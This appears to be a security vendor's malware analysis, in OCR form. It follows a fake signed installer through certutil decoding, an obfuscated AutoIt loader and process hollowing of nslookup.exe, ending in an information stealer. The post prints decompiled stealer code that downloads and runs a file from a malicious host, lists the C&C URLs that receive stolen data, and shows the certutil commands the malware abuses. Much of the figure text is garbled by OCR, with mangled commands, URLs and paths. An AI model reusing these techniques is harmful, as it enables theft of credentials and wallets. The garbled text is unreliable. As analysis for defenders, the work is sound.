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Recently, in the process of a threat investigation, we found an interesting event:

processFilePath: C:\Windows\SysWOWG4\nslookup. exe rating: Dangerous request: nttp:/ fdowhhayes. tep/download phpzile=lvexe  Figure 1. Interesting event that

started the investigation

Here, we have a process (nslookup.exe) that tried to connect to a malicious URL that was already blocked by our solutions.
We could have stopped at this point, but searching for the root cause is part of managed detection and response (MDR) — we
needed to learn why this event happened in the first place and prevent it from happening in the future.

The process in question is nslookup.exe, a network administration command-line tool used for querying the DNS. Therefore,
this process performing a URL request is not unusual — at first glance. Neither is this action, by itself, malicious. However, why
would anyone (aside from security researchers) query a malicious URL via nslookup in the first place?

We were able to trace where the execution came from, and we saw that the events coincided with execution of certutil:
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parentCmd processCmd objectCmd

cmd fc -decode Roca m Fump4 & cmd < Fump4 cnd

cmnd fc -decode Ro m Fump4 & cnd < Fump4d cmd

crd fc -decode Ro m Fumpd & cnd < Fumpd crief certutil -decode Custodivappt g
crnd fc -decode Rocd m Fumpd & cmd < Fuimpd criel findstr A /R "M bmlZm U frandal PNd$ " Angolo.mid
cmd fc -clecode Rocdi m Fumpd & crnd < Fump4d cmcl

cmd fc -decode Ro m Fump4 & cmd < Fump4 cnd ping -n 1 CEExpWin.CEExp¥n
cmd fc -decode Roca m Fump4 & cnd < Fump4d certutil -decode Roci:

cmd jc -decode Ro m Fumpd & cmd < Fumpd certutil -decocle Ro

crnd fc -decode Rocd m Fumpd & cmd < Fuimpd certutil -decode Rocciaxitr Fu.rmpd

cmd fc -clecode Rocd m Fumpd & crnd < Fump4d D L conhost.ex fffffift -Forcei/1

cmd fc -decode Rocdaxdtm Fump4 8 cmd < Fump4 cnd

cmnd fc -decode Ro m Fump4 & cnd < Fump4d cmd

cmd fe -decode Rocd m Fumpd & cmd < Fu.mpd cmd certutil -decode Custodiva.ppt g

cmd /o -decode Ro m Furmpd & cnd < Fumpd cmcl findstr A/ /R "*bm(Z nvAalPNFd$" Angolo.mid

cmd e -decode Rocd m Fumpd & cmd < Fu.mp4d cmd
Figure 2. Certutil events as seen in logs
Certutil is a command-line tool used for certificate management. The command certutil -decode can be abused to decode files
hidden inside a certificate file (T1140), and that was done here. The file Roccia.xltm is decoded to Fu.mp4, and then the
contents of Fu.mp4 was piped to cmd.exe for execution. Upon digging further, we found that the starting point was user
execution of a disguised file named sefup_x86_x64_install.exe that was supposedly signed (with an invalid certificate) by AO
Kaspersky Lab (Trend Micro detects this as Trojan.Win32.ALIEN.A).

g ,; setup_x86_x64_install.exe Properties &
_ General \ Compatibility ___;_ Archive |
Digital Signatures | Details | Previous Versions |
Signature list
Mame of signer: E-mail address: Timestamp
| AQ Kaspersky Leb Mot availzble Tuesday, January 05....
Digital Signature Details |2
| General | advanced
— Digital Signature Information
=) This digital signature is not valid. Figure 3. A signed malicious file
Signer information
Name: |.-'-\0 Kaspersky Lab
E-mail: |N0t available
Signing time: | Tussday, January 05, 20216:23:35PM
View Certificate
Countersignatures
MName of signer: E-mail address: Time
Sectigo RSA Time Stamping Signer #2 Mot available Tues

This file is actually an SFX CAB archive that contains the following files:
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&) Angolo.mid
05 Attesa.docm

Custodiva.ppt Figure 4. Actual contents of the malicious file

BF Rocciaxitm

The SFX file then executes the following command:

POSTRUNPROGRAM
2 il = R

This will decode the content of Roccia.xltm to Fu.mp4 and execute the latter file.

wltm Fu.mpd < Fu.mpd Figure 5. The executed command

B Hiew: Rocciaxlitm =6 =
Roccia.xltm BAHEANANA |Hiew 7.20 <(c)>SEN

wdWuCilCGCUf taTgUf EhfMoncugzURf gt=TUf Paws CsHs FuKHGUghGuzo bKuSQHORG1EnYY vl U uNxA

NNKZPfio loEd iFgqubHxpfpfAeNUrdaibuukgwA Jf iParDOWY »LBemnUr DhHkUbGQrLn 1IUFY FOahxouR

deRgFxoY pHwiyuOmGKPEDUF jchZTMMeSZ jx jPuesmFEKEJf JCICiiKmRxvFEixg jhEo iSLCKEmohyY kuwd

BEGIN CERTIFICATE

U2UAI F10ZESPT jB=zDQpnd EZEe 1J=TUZt RHRpaEUGZ1 F3 5 KNDZWS QR hbnNWd GAK

SFJrEX1ildJEc 1hYY 2 IHc ECuMExwTUS 1athUT FpnbEViTwBKY 2FY c GFrRAZt AEFW

YUNwT 1dYeHUUdHBBUBUSAE1Ue kFHS GERTWZFQUR1 aFhl cHFmUABKaEd 18Uz GJk

TIUDWEZLcWZHe ¥ p3SHpURE?Ral RBe 1Bnald0Y 1hyWEhnW1F4c Bl aEd 1DQpwY 216G

coestethinioclal s e Gl

cloxoudBpOUWEL limFz dloc El el i gqQUhuTnlEc m

YUNJYUFrS IVRaB?LkRA1 £ aGpNYF Jzc ER=2DgpsZ1 AGRIEME GFJRE? »dnd STmFCZGgN Figure 6. Obfuscated contents of

Cm1ERHhDdYWphcGdza2?8 TndwZW1 JaHJUbn BKUIFEUnUxUEhlendgR2%4cli=d 1Jdn

dHJubZ255 RgBKdEpBhGpwal?zanRhG1F4aFh2 ZGdoREN1c3dTU3RKRHBnDQpT ZE Qg

dBpRd3ipaPUKNCn?5elll 0aEpra2UBZHACAWU a2 RnS k1JadJuTBsNC1Z1c313Y 204

UmhFaFNiQk1YZEFEUG?wEURDBUJIZYBUul 1Y NC 1 pwal pl SnU1WEL 3UWx1 bnUTZ3U2

T1UJaZiWW11 550 loWGENCIN1ACBt TGRAVES 1 PUANC 1JMZ2 Rt Zkx =21 DAEFablxL

bhBAdoRAZUZUVAY BNV EpI ki 6TAdKbnUZUnhiRndZT FFuc EVtUGZ vl mpNbhUUwZEUR

UnmHPRAxFcllpBZkx6Y 2J1 cUpHTABKAG1MdmRE e FdZak? GUEhKZWWNCh 1Fhi UaSEUK

d1BGhmxiRUFMT gBKUZUBI1 GFnT 2 xAT GABPTYNCk?OdFFERNVYc G? vl kd BRmRt d2Rx

Z1ZWYUNQc 3hyc Et pbn 1JdAJJR1 NuRUNGREKFKZBU0a 2 pue AT DQpMUU?nTFNaY 1dh

Q1NEUFJ4bkJMenROc 3V IUGRZh1ha UUEs UEpT RESMQ2 1Jall? jd1 16U kxFRGLBUU I

alZCdlpallkt le lpv QLUFPU1FuDQpuiiUdPYUUHa]l Bo ZEpRZWE hDQpT ZXQgqc EFpSn? i

£ k1ZPULNC1FQRU 1= UWJKRY 1Y n pObHZNEn BE1c BNEUGR3 e HABaHUG Y WQNC1 pKE GF.

Roccia.xIltm
The contents of Fu.mp4 are obfuscated, and when the contents are deobfuscated, they will look like this:

Figure 7.

y.mid rundll

The deobfuscated contents of Fu.mp4
The code checks for multiple computer names and the C:\aaa_TouchMeNot_.txt file that usually indicates the presence of
Windows Defender Antivirus Emulator. If any of these files are present, it will immediately exit.

It will then create the file rundll32.com from the contents of Agolo.mid, but without the prepended string and with an added MZ
header. This file is the Autolt compiler.
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i ' Hiew: Angolo.mid = B %
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It WI|| also decode the content of Custod/va ppt, WhICh is the obfuscated AutoIT scrlpt

| Hiew: Custodiva.ppt = B %

Custodiva.ppt 1FRO HOHERHAN |[Hiew 7.20 <(c)>SEN
QZkitubNErrzdbf me jCWchu lgpt PPyHo EBOgghKAfHF il o CYf Jrwe GuDEgTUwI EmuUOP I wloCeHOHUY
hezaHUEpLnISUhrcRf ESUNGRHDvHuf Eile FFUggUZaDT vnWKdU»CBEf KcAKrnErvUBI SHbAJWwKT D 1Mg
YANHzQu I Y Gpc LU0 jyrCL=Y U 1T LNNWJIY ZTFNgHMo BOQENA iUV ykbnnD1ZFCOI »JMy I 1BuiNEalwi Dgu

BEGIN CERTIFICATE
JGUCHU1NRHggPSBBAaEJSalBulHI oI jEWwOUB5MGE xMT FuMTE3bzc3beg@hagxh=Ew
OUBxMTHuNzZuvODBvHT Eyhe c5he EwNUE 4NGE 4ANn 8 xMTRvMT EBbz Ey0GE xMDZy ODFu
NzUuHTExbzEyM2840U8 4MUWE xM j Zv ODFuOTEiLDc pDGo jTm?UcmF5 5 WNvhgBKRnUu
¥ yBRdn1¥cnZ5hEZBS S gkt ETHks JHNG TUpRe k1 Oc CukY U yZU53e Los JFpHAFRGQ
2GUs JHAI WkxWZyuwkS 1l pydmZEZEks JGHoWEUY bE B TS kNCkxw¥ 2F= I ENvbnNBI CRy
bUd=T 1pMeWxyd1dhc 25¥UBpyE iA? I CduhkNKbn ZCY k7 abks j¥ kF1e UJFRKRMYUFS Figure 9. Contents of Custodiva_ppt
aBZiamdle INzdHA48GZEcE1Z2c 118U1 RZU1Fphi R4Y n INRWpEQUxBUH 1UdH puTWI g
cUNUZZdTd2dMcnNil 1IROUAAUE R JyTEpilnUT c FNELXRhUmS KQU?SUERY AR Z0Z K dr
aW10RHJ4c GENdnpvli1.J jadlkdFpd4dHZidE? Be UZgSUNBS GUHMTU dcWU1wU 3 IG5 1UN
Q1ZThU1IUWIMZEnSmUEJEBU2BcnNQS25 JZnUoa2 1hE GNVTHRLe GRUZUFac RZiTHJJ
QUINZKZDU1 J2hHBETAZUYU 1y¥ 3UBUE LGRnd BUUp3bER1 Rkt Le nFQc LIMZ3 Bac nhy
dEhPenRY alNz5UtFd3Vpe FpGUHBUhGdkaHJnJwBKI G ¥ WwgJEtWRANOZk1 3aFJo
dGJu¥ihJaZZMRFRzemdyZFRGbn LgEnFS dmlplUl4e W lvcBtNTSA? IHRoQn 1gUG?Y
cigiOD1luv0T lvNjdvMTAxhzcubz ExN28xMDBuNzhuvMTAzhzEyMU83MGExMTI duNzE1
LDI pDQpMbZNhbhCBDbL25=dCAkBUFyhiA? I CdlcUxPUH100mJ6dnRnR2NEQU 1H bGP
ell1r52F4U29Y S ERoWWZ: RUAnUFFxc BZMZBL vdF 1JY mhE YUV 193 B0e kpnY B?HAB 15
TFACZHh4T kS 1QUN] aBSwZmxkcAd4bh3diQ3ZpTFdSWWhlenp laiUTQal ptnl Qe 2L
dHUEdkplSBNUJuBKIG?J?ngJE?ZamUSaBJUIDBgdGhCeUEthhyKCIEHHSXHTZU

MT O AL T MO MT 1 MT oL O o T RO MO O M. ()

#loTraylcon

Func QvyXrvylFtI{SY¥kDLy, SezMIQzMNp, SaurenwzZ, SZGETFPHe, SwHZLVyg, SEZrviDd I, SchXEXmpn 1)

Local Const SimWsNZLvirvRasnXWJird =
TonCJdnvBhOZnNchAuyBEFDLagyvkFwigezSetwxHE Dplvr Y EWT YRQimtxhbyME]RALI Ay EznMbjqolUggSwg LrchVTNWGVI rr Lobv
JIStHe IMWYMpWrP JULCVSmYeQeLfnfUrJmOArsPEnI fuhki aHoUODK®oUeQZqvh Lr IALg fFCWRY1pROFVAal rcuAYyFEwAQTw1De
Local SEVGCNfMwhRhtboaxTkfLDT1zgrdTenyjJaRvel QMxyioskMM = thByjPoXr{"8%90990670101070011 701000780103
Local Const Smlrn = "ugLOTyNBbzvdiGeWAIG110yIkKaxSoXHDhYI1EGEPQqsFLgKotYIbhwaleCplz JgcOMw Iy LWBdxxlNe
Local S0YjeRkBo = thByjPoXr{"71olleoll0o840l20011701000870105070010508206807206801160059050052™,3), ¢
"12601060126095097070076087075012601210830760720117096",7), SnyVhJJR = thByjPoXr("7lo760%2088012001"
Local Const SBgWI1YVUOzxBnZnhchsLppxUEUuRzEvkaIDXyvZe LOWZ1fkbhIbh =

"FXoyHuysdRrBrXopOcBl cxFRjplFuvduWt LgWEWQqIMTLeViigIwlf 1 fsnShWwAlToXFZkT jpnKiNI LkQhX b SOTWHUvWnMmUALTI
btNkNSRkdheCIBySFOWwSeSBQzEMHGBM JUpkwOKoAKT D] DMY aXLnJhTFDWRozpkEKMETE s UQQ "

Local £5a2¥XEQ = thByjPoXr({"94077010401230910105087",08), SCGFa = thBy PoXr{"1100810930115038082™,8),
"74012301280910880126081012609509409109601220810115012601190%6™,9), $LVR = thByjPoXr{"%%0l150120010¢

Figure 10. Deobfuscated AutolT script
The deobfuscated script contains junk code and a simple string decryption routine. Upon decoding the strings, this Autolt script
will be used to execute the content of Attesa.docm via process hollowing of a spawned nslookup.exe.

This is accomplished by first reading the content of Attesa.docm.

SryX¥sgi = EileOpen(@ScriptDir & Decrypt("\Attesa.docm”),18) Figure 11. Decoded

‘ExitLoop
Autolt command to read Attesa.docm
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| Figure 12. Contents of Attesa.docm
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The AutolT script will then spawn a nslookup.exe process, which is then hollowed. The contents are replaced with those of
Atessa.docm:

If Hot (SEDANNIAX > - ) Then Exit
SZREgLQO = [@SystemnDir & Decrypt{"n=lookup.exe™) Figure 13. Decoded Autolt command
Case

ShwlxlxPaT = D11Call(Decrypt{"kernel32.d11"), Decrypt{"bool™), Decrypt{"SetThreadContext"),Decrypt{ha
Dll1StructGetPtr {SnWhHIT) )

IEig-Ljr_e 14. Use of SetThreadContext in Autolt script for process hollowing

Upon injection, nslookup.exe will then perform the malicious routine. The payload consists of an information stealer that tries to
acquire information (such as cookies or credentials) from browsers and cryptocurrency wallets, as well as system information
and desktop screenshots. Both this injected nslookup.exe and an executable that uses the same command-and-control (C&C)
servers (and that has a similar behavior) are detected as TrojanSpy.Win32.PRETSTEAL.A.

The stolen information is saved, compressed into a ZIP file, and sent to the following C&C servers:

o eressedu03[.]top/index.php
o eressedv32[.Jtop/index.php

It also attempts to download and execute a file from the following URL. However, this URL is already inaccessible.

downhhay09].]Jtop/download.php?file=lv.exe

chrome_opera_B36B0O( )

firefox_B6T725( , ExpandEnvironmentStringsll);

crypto_6CBF1( )

sub_BCYSD(az, :

systeminfo_ SEDDB( , ExpandEnvironmentStringsll);

Send_to_CnC_BBFBT( . Sleep);

Send_to_CnC_BC110( );

ExpandEnu1ronmentStrlngsM(L ZTempZ\\File31 .exe", & , 0x208u);
DeleteFilell( & );

URLDownloadToFileW(®, L http://dowhhayd9.top/download.php?file=1lu.exe”, & , 8, 8);
Sleep(®x3E8u) ;

ShellExecutell(®, L"open”, & . 0, 0, 1);

self_destruct_86C2B9( );
Figure 15. Information stealer code
Takeaways for Researchers/Analysts

What can other researchers or security analysts learn from an incident like this?

1. Asingle detected event should not be the conclusion. Find out the underlying root cause of the issue. In this case, it was
a user who ran a malicious file and needed to be educated about it.

2. If alegitimate process (nslookup, in this case) behaves in a way that is suspicious, follow your instincts and dig deeper.
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3.  Good sensors are necessary to carry out a proper threat investigation. These sensors allowed us not only to gather
sufficient information about this incident, but also to find the root cause.

Trend Micro Solutions

Trend Micro’s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from
Trend Micro solutions across the enterprise — including email, endpoints, servers, cloud workloads, and networks — making
faster connections to identify and stop attacks. Powerful artificial intelligence (Al) and expert security analytics correlate data
from customer environments and Trend Micro’s global threat intelligence to deliver fewer, higher-fidelity alerts, leading to
better, early detection. One console with one source of prioritized, optimized alerts supported with guided investigation
simplifies the steps needed to fully understand the attack path and impact on the organization.

Indicator of Compromise (I0C)

Hash (SHA-256) Description Detection Name

d7fdbdc5b650cb21e898fe45be1aaba320b0d47b5283e45822ecc1270b420279 Payload TrojanSpy.Win32.PRETSTEAL.A
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